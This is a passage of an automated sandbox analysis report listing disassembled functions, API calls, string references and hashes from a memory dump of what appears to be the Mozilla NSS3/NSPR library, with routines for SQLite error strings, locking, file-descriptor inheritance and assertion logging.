Function 6CE4ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4ACE2
malloc.MOZGLUE(00000001), ref: 6CE4ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE4AD02
TlsGetValue.KERNEL32 ref: 6CE4AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE4AD8C
PR_Unlock.NSS3 ref: 6CE4ADC0
free.MOZGLUE(00000000), ref: 6CE4AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE4AE58
free.MOZGLUE(00000000), ref: 6CE4AE69
free.MOZGLUE(?), ref: 6CE4AE78
PR_Unlock.NSS3 ref: 6CE4AE8C
free.MOZGLUE(?), ref: 6CE4AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE4AEC7

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 6c253a52ca09d483b3c5d484564bfe64649ab4a2eedc5e3a0ff692ec092fe3f7
Instruction ID: 17c015584c4362e378ad82e2521f92865df01d467106ede577c4988e95b5cca1
Opcode Fuzzy Hash: 6c253a52ca09d483b3c5d484564bfe64649ab4a2eedc5e3a0ff692ec092fe3f7
Instruction Fuzzy Hash: AE51D2B5E50116CBDB40DF94EC80BAEB774AB0635CF248035D814A3B00D331A955CBD6

Function 6CF24C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF24CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF24CFD
sqlite3_value_text16.NSS3(?), ref: 6CF24D44

Strings

no more rows available, xrefs: 6CF24D2E
API call with %s database connection pointer, xrefs: 6CF24CF6
unknown error, xrefs: 6CF24D56
bad parameter or other API misuse, xrefs: 6CF24D05
invalid, xrefs: 6CF24CF1
out of memory, xrefs: 6CF24C78, 6CF24C9E
abort due to ROLLBACK, xrefs: 6CF24D27, 6CF24D33
another row available, xrefs: 6CF24D20

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 2748e22263c01ee18d1f66f294609716cef58cf67c9e188665b24618a457276c
Instruction ID: 26b5fdec3cb22a14424f2cd9cc583d1b0c56d36a3982b3c765d5482606909821
Opcode Fuzzy Hash: 2748e22263c01ee18d1f66f294609716cef58cf67c9e188665b24618a457276c
Instruction Fuzzy Hash: 4931AE73E89811A7D7094AACA8117E6BF71BB82318F550129D8244BF55C7EDAC2187E2

Function 6CF22D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF22D9F

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

sqlite3_exec.NSS3(?,?,6CF22F70,?,?), ref: 6CF22DF9
sqlite3_free.NSS3(00000000), ref: 6CF22E2C
sqlite3_free.NSS3(?), ref: 6CF22E3A
sqlite3_free.NSS3(?), ref: 6CF22E52
sqlite3_mprintf.NSS3(6CF8AAF9,?), ref: 6CF22E62
sqlite3_free.NSS3(?), ref: 6CF22E70
sqlite3_free.NSS3(?), ref: 6CF22E89
sqlite3_free.NSS3(?), ref: 6CF22EBB
sqlite3_free.NSS3(?), ref: 6CF22ECB
sqlite3_free.NSS3(00000000), ref: 6CF22F3E
sqlite3_free.NSS3(?), ref: 6CF22F4C

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: de9573c3637955455417eb8e029bcf9432b50dbdb503c9f02cacbea945ff8c54
Instruction ID: b7dc7d97d63edaa57fbfda160d57ed3cd8874b70cb801c66e92d6665052a7fb4
Opcode Fuzzy Hash: de9573c3637955455417eb8e029bcf9432b50dbdb503c9f02cacbea945ff8c54
Instruction Fuzzy Hash: B4618FB5E116058BEB10CFE8D894BDEB7B1EF48358F154028DC15AB711EB3AE845CBA1

Function 6CE67C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFB2120,Function_00097E60,00000000,?,?,?,?,6CEE067D,6CEE1C60,00000000), ref: 6CE67C81

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

TlsGetValue.KERNEL32 ref: 6CE67CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE67CB4
PR_Unlock.NSS3 ref: 6CE67CCF

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

TlsGetValue.KERNEL32 ref: 6CE67D04
EnterCriticalSection.KERNEL32(?), ref: 6CE67D1B
realloc.MOZGLUE(-00000050), ref: 6CE67D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE67DF4
PR_Unlock.NSS3 ref: 6CE67E0E

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: a5c0ef7a6038159591c78382beeec4337d2159eb3e6826578985c3ebe4b49179
Instruction ID: 4f062a73b3ae87c48307a72e1717284b7e2a0c80fac2673c87a0d6a7be45a892
Opcode Fuzzy Hash: a5c0ef7a6038159591c78382beeec4337d2159eb3e6826578985c3ebe4b49179
Instruction Fuzzy Hash: 02512575EB4100ABDB40AF2ADC84B6577B5EB0331CF364529ED1887B22EB329855CB91

Function 6CDD4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D97
PR_Lock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4DBA
PR_WaitCondVar.NSS3 ref: 6CDD4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4DEF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: bae2d7111ae86af2cebbd90dcf86dffce32dea20c94f2fb93fa20c7e596242c9
Instruction ID: 6570af67faec972f053b063e70770f7a5dd04eb09965e7448286954382670e85
Opcode Fuzzy Hash: bae2d7111ae86af2cebbd90dcf86dffce32dea20c94f2fb93fa20c7e596242c9
Instruction Fuzzy Hash: 75417DB5E14715CFCB40AF7DE088659BBF4BF05314F168669D8989BB20EB30E884CB95

Function 6CE538E0 Relevance: 18.1, APIs: 12, Instructions: 83COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CE538A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE538FF
EnterCriticalSection.KERNEL32(?,?,?,?,6CE538A8), ref: 6CE53918
PL_HashTableDestroy.NSS3(?,?,?,?,?,6CE538A8), ref: 6CE5392C
PR_Unlock.NSS3(?,?,?,?,?,6CE538A8), ref: 6CE53941
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CE538A8), ref: 6CE53952
free.MOZGLUE(?,?,?,?,?,?,6CE538A8), ref: 6CE5395E
TlsGetValue.KERNEL32(00000000,?,?,6CE538A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53981
EnterCriticalSection.KERNEL32(?,?,?,?,6CE538A8), ref: 6CE53996
PL_HashTableDestroy.NSS3(?,?,?,?,?,6CE538A8), ref: 6CE539AA
PR_Unlock.NSS3(?,?,?,?,?,6CE538A8), ref: 6CE539BF
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CE538A8), ref: 6CE539D0
free.MOZGLUE(?,?,?,?,?,?,6CE538A8), ref: 6CE539DC

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteDestroyEnterHashTableUnlockValuefree
String ID:
API String ID: 2967110932-0
Opcode ID: c108fabac6d309a4b52c9c8bf239c784beb1ed0e427d67e16a0714a0899b6a31
Instruction ID: 1665123e9faa11a958ffc3e8ff8c28f61bf9d07b5de1583025f710ca5dfe6eaf
Opcode Fuzzy Hash: c108fabac6d309a4b52c9c8bf239c784beb1ed0e427d67e16a0714a0899b6a31
Instruction Fuzzy Hash: 103130B5E28601CBDB40BFB8D08C269BBF4FB06384F114A29D895D3700E732A595CB96

Function 6CF67CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF67CE0

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67D36
PR_Realloc.NSS3(?,00000080), ref: 6CF67D6D
PR_GetCurrentThread.NSS3 ref: 6CF67D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF67DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67DD8
malloc.MOZGLUE(00000080), ref: 6CF67DF8
PR_GetCurrentThread.NSS3 ref: 6CF67E06

Strings

:%s:%d:0x%lx, xrefs: 6CF67DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF67DF0

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 00fff0480bd5c40af09c3d6dba6e76842af3b30f6d18debf3d54a3cd780b9210
Instruction ID: 3c13bc4a2b796cdb86f1067231e2882a276450ccb8c84d43dbd6aa165aa2976f
Opcode Fuzzy Hash: 00fff0480bd5c40af09c3d6dba6e76842af3b30f6d18debf3d54a3cd780b9210
Instruction Fuzzy Hash: A441D9B16002019FDB08CF2ADC80A6B37B6FF84318B25496DE8199BF51DB31ED41CB91

Function 6CF67E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF67E46

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF67EAF
PR_ImportFile.NSS3(?), ref: 6CF67ECF
PR_GetCurrentThread.NSS3 ref: 6CF67ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF67F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF67F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF67F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CF67E41
%d:0x%lx, xrefs: 6CF67EA9

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 580016b3fd155050ab479285fd2a214616c9a75f1ecefb88061c2f6460d43187
Instruction ID: f22b76dc777e97e11c721295aa6c3403214493c17f5be7a4e695870f98e6c8ce
Opcode Fuzzy Hash: 580016b3fd155050ab479285fd2a214616c9a75f1ecefb88061c2f6460d43187
Instruction Fuzzy Hash: 3C312172E081199BEB009BABC840AEBB7B9EF15348F204967D81597E12F7619D08C7D2

Function 6CE74E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE74E90
EnterCriticalSection.KERNEL32 ref: 6CE74EA9
TlsGetValue.KERNEL32 ref: 6CE74EC6
EnterCriticalSection.KERNEL32 ref: 6CE74EDF
PL_HashTableLookup.NSS3 ref: 6CE74EF8
PR_Unlock.NSS3 ref: 6CE74F05
PR_Now.NSS3 ref: 6CE74F13
PR_Unlock.NSS3 ref: 6CE74F3A

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

Strings

bUl, xrefs: 6CE74F3F
bUl, xrefs: 6CE74E5C

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 7fb21b96f584deceb56597d12d589f12f1f176e7cc784e4e8b18041f3f7f9810
Instruction ID: 22de6a19da47c7324c94aae0f8267befc672e03f94c435b61ee8d057683ac38a
Opcode Fuzzy Hash: 7fb21b96f584deceb56597d12d589f12f1f176e7cc784e4e8b18041f3f7f9810
Instruction Fuzzy Hash: 924159B4A00605DFCB00EF68D0849AAFBF0FF49354B118669EC599B710EB30E855CFA1

Function 6CE9ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CE9DE64), ref: 6CE9ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9ED22

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PL_FreeArenaPool.NSS3(?), ref: 6CE9ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CE9ED6B
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE9ED38

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CE9ED52
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE9ED83
PL_FreeArenaPool.NSS3(?), ref: 6CE9ED95
PL_FinishArenaPool.NSS3(?), ref: 6CE9ED9D

Part of subcall function 6CEB64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEB127C,00000000,00000000,00000000), ref: 6CEB650E

Strings

security, xrefs: 6CE9ED06

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 523bfcbd06a925010379965e46f65e904107155a45925a790a7c0a0444167f77
Instruction ID: c70013094ba751515a9827023ed2055999a580acd5a5714edc6e9dae65fb410d
Opcode Fuzzy Hash: 523bfcbd06a925010379965e46f65e904107155a45925a790a7c0a0444167f77
Instruction Fuzzy Hash: 9F116A75D00A046BE6145775AC84BBFB27CBF0260CF250928E94473F60FB36A50D86E6

Function 6CF60EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE42357), ref: 6CF60EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE42357), ref: 6CF60EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF60EE6

Part of subcall function 6CF609D0: PR_Now.NSS3 ref: 6CF60A22
Part of subcall function 6CF609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF60A35
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF60A66
Part of subcall function 6CF609D0: PR_GetCurrentThread.NSS3 ref: 6CF60A70
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF60A9D
Part of subcall function 6CF609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF60AC8
Part of subcall function 6CF609D0: PR_vsmprintf.NSS3(?,?), ref: 6CF60AE8
Part of subcall function 6CF609D0: EnterCriticalSection.KERNEL32(?), ref: 6CF60B19
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF60B48
Part of subcall function 6CF609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF60C76
Part of subcall function 6CF609D0: PR_LogFlush.NSS3 ref: 6CF60C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF60EFA

Part of subcall function 6CE4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F2B

Strings

Aborting, xrefs: 6CF60EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF60ED9, 6CF60EE5, 6CF60F06, 6CF60F0B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
